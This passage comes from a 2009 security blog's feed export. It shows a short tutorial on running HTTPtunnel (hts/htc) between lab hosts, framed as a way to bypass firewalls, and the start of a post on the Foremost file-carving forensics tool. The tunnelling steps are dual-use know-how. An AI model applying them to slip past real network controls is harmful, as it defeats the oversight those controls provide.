255);"&gt;http://www.linux.com/archive/articles/46268&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.security-freak.net/tools/ngrep/ngrep.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.brandonhutchinson.com/ngrep.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4014532046021926314?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4014532046021926314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/11/ngrep.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4014532046021926314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4014532046021926314'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/11/ngrep.html' title='Ngrep'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1467431063360797776</id><published>2009-11-27T11:55:00.000-08:00</published><updated>2009-11-27T12:10:55.647-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tunneling'/><category scheme='http://www.blogger.com/atom/ns#' term='httptunnel'/><title type='text'>HTTPtunnel, Another way to tunnel your traffic to bypass firewalls</title><content type='html'>Like the title says, Httptunnel allows you to create a tunnel (non-encrypted i might add) so you can redirect ports or by pass firewalls. Its not the most preferred method to tunnel traffic as there is no encryption mechanism to keep your actions hidden like ssh tunneling or stunnel would offer. Never the less, its a easy utitility to get up and running quickly and works on both linux and windows system.&lt;br /&gt;&lt;br /&gt;[server]&lt;span style="color: rgb(255, 102, 0);"&gt;linux, 10.0.0.1&lt;/span&gt;&lt;br /&gt;[client]&lt;span style="color: rgb(255, 102, 0);"&gt;windows, 10.0.0.2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the server [linux]:&lt;br /&gt;For this, you are required to have some sort of service running locally. We are gonna use a webserver on port 80. Start the webserver and have a demo index.html page in the necessary folder so clients would be greeted with a page. Then run the httptunnel server as follows:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ./hts -F 127.0.0.1:80 4444&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//Listens on port 4444, and forwards all traffic to itself (127.0.0.1) on port 80&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the client [windows]:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;c:\&gt;htc.exe -F 5555 10.0.0.1:4444&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt; //Listens on port 5555 and connects to the awaiting httptunnel server at 10.0.0.1 on port 4444&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now on the client, open up a web browser and type in the url, &lt;span style="color: rgb(255, 102, 0);"&gt;http://127.0.0.1:5555&lt;/span&gt;. If everything works fine, you should be greeted with the webpage at 10.0.0.1&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.nocrew.org/software/httptunnel.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://en.wikipedia.org/wiki/HTTP_tunnel&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.neophob.com/serendipity/index.php?/archives/85-GNU-HTTPtunnel-v3.3-Windows-Binaries.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://sebsauvage.net/punching/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1467431063360797776?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1467431063360797776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/11/httptunnel-another-way-to-tunnel-your.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1467431063360797776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1467431063360797776'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/11/httptunnel-another-way-to-tunnel-your.html' title='HTTPtunnel, Another way to tunnel your traffic to bypass firewalls'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4344570252728780289</id><published>2009-11-27T10:56:00.000-08:00</published><updated>2009-11-27T11:26:34.962-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='foremost'/><category scheme='http://www.blogger.com/atom/ns#' term='file carving'/><title type='text'>Foremost</title><content type='html'>Foremost is a very popular tool in the open source forensic world. This can recover files from practically anything, from hard disks, disk images,  pcap network capture and your RAM. Unfortunatly, Due to programming difficulties, foremost is limited to processing files smaller than 2GB in earlier versions. In version 0.69, maximum file carv size was 4GB.  Foremost served as the basis for other file carving applications such as scalpel and tcpxtract. The program uses a configuration file (foremost.conf) to specify headers and footers to search for and carv out.&lt;br /&gt;&lt;br /&gt;Foremost.conf comes with preconfigured headers and footers for well known file types. The configuration file is not limited to whats there by default, but can be extended with by adding your own headers and footers or make a custom config file.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# foremost -i file.img -t doc -o /root/Foremost_Dir -c /etc/foremost.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-i':&lt;/span&gt; Input file(image). Can specify a drive or partition as well, /dev/sda1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-o':&lt;/span&gt; Folder to dump the recovered files in&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-t':&lt;/span&gt; Type of file to search for. Default is to search for all known file types in its config file.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-c':&lt;/span&gt; [optional] Sets the config file to use. If left out, foremost is gonna use its defaul config file located at /etc/foremost.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[Supported file types out the box]['-t']&lt;br
